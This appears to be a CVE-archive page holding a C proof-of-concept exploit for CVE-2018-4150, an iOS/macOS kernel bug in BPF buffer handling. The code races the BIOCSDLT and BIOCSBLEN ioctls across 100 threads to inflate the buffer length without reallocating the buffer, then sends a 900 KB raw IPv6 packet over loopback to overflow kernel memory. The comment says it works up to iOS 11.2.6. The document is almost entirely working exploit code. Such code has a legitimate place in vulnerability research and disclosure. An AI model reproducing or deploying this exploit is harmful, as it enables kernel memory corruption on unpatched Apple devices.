4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2018-4150.c C
/* 
 * Dodgy POC for my CVE-2018-4150 bug - @cmwdotme 
 *
 * Bad locking lets you use BIOCSDLT and race BIOCSBLEN to increase the length without
 * increasing/reallocating the buffer.. which lets you overflow ;) Should work up to iOS 11.2.6
 *
 */

#include <fcntl.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <arpa/inet.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/ucontext.h>
#include <sys/uio.h>

#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <semaphore.h>
#include <gethostuuid.h>

#include <sys/fcntl.h>
#include <sys/proc_info.h>
#include <libproc.h>


static int rip_sock;
static int bpf;

static void init_rip_sock(void)
{
    uint32_t maxdgram = 0;
    size_t len = sizeof(maxdgram);
    uint32_t maxdgramnew = (1024*900);
    size_t lennew = sizeof(maxdgram);

    // Set the max dgram buf to 900k
    if (sysctlbyname("net.inet.raw.maxdgram", &maxdgram, &len, &maxdgramnew, len) < 0) {
        perror("sysctl error\n");
        exit(1);
    }

    rip_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if (rip_sock == -1) {
        perror("socket");
        exit(1);
    }
}

static void send_rip_packet(const void *packet, size_t packet_len)
{
    struct sockaddr_in6 dest = { 0 };
    dest.sin6_family = AF_INET6;
    memcpy(&dest.sin6_addr.s6_addr, &in6addr_loopback, sizeof(dest.sin6_addr.s6_addr));
    dest.sin6_port = 0;
    if (sendto(rip_sock, packet, packet_len, 0, (struct sockaddr *) &dest, sizeof(dest)) != packet_len) {
        perror("send_rip_packet");
        exit(1);
    }
}

static int lock_thread = 1;


static int complete = 0;
static void init_bpf()
{
    bpf = open("/dev/bpf3", O_RDWR);

    if(bpf == -1) {
        perror("open bpf");
        exit(1);
    }

    int one = 1;

    if(ioctl(bpf, BIOCIMMEDIATE, &one) == -1 ) {
        perror("ioctl BIOCIMMEDIATE");
        exit(1);
    }
    
}

static void alloc_bpf_buffer(const char *interface)
{
    int hlen = 64;
    // set buffer length to 64
    if (ioctl(bpf, BIOCSBLEN, &hlen) == -1) {
        perror("ioctl BIOCSBLEN");
        exit(1);
    }
    int blen = 0;
    if (ioctl(bpf, BIOCGBLEN, &blen) < 0) {
        perror("ioctl(BIOCGBLEN)");
    } 
    printf("attaching interface with size of %d\n", blen);
    struct ifreq bound_if;
    strcpy(bound_if.ifr_name, interface);
    if(ioctl(bpf, BIOCSETIF, &bound_if) == -1) {
        perror("ioctl BIOCSETIF");
        exit(1);
    }
}

void set_bpf_length(void)
{
    int hlen = 4096;
    // set buffer length to 4096. The allocated buffer length is 64.
    ioctl(bpf, BIOCSBLEN, &hlen);
    int blen = 0;
    ioctl(bpf, BIOCGBLEN, &blen);
    if(blen == hlen) {
	fprintf(stderr, "set length: %d and hlen: %d\n", blen, hlen);
	complete = 1;
	pthread_exit(NULL);
    }
}

void *race_detach(void *data)
{
    while(1) {
       set_bpf_length(); 
    }
}

int main(void)
{
    char *interface = "en0";

#define NUM_THREADS 100
    pthread_t threads[NUM_THREADS];

    init_rip_sock();
    init_bpf();

    alloc_bpf_buffer(interface);

    int t=0;
    for(t=0;t<NUM_THREADS;t++){
        if(pthread_create(&threads[t], NULL, race_detach, NULL)) {
            fprintf(stderr, "Error creating thread\n");
            return 1;
        }
    }

    int promiscuous = 1;
    if( ioctl(bpf, BIOCPROMISC, &promiscuous) == -1){
        perror("BIOCPROMISC");
    }
    
    unsigned int dlt = 1;
    while(1) {
        if (ioctl(bpf, BIOCSDLT, &dlt) == 0) {
            printf("%d worked\n", dlt);
    	}
        
	if(complete) {
	   unsigned int packet_len = 1024*900;
           unsigned char *packet = malloc(packet_len);
           memset(packet, 0xff, packet_len);
            
           printf("sending rip packet\n");
           send_rip_packet(packet, packet_len);
       }
       // try another link layer option
       dlt++;
   }

    return 0;
}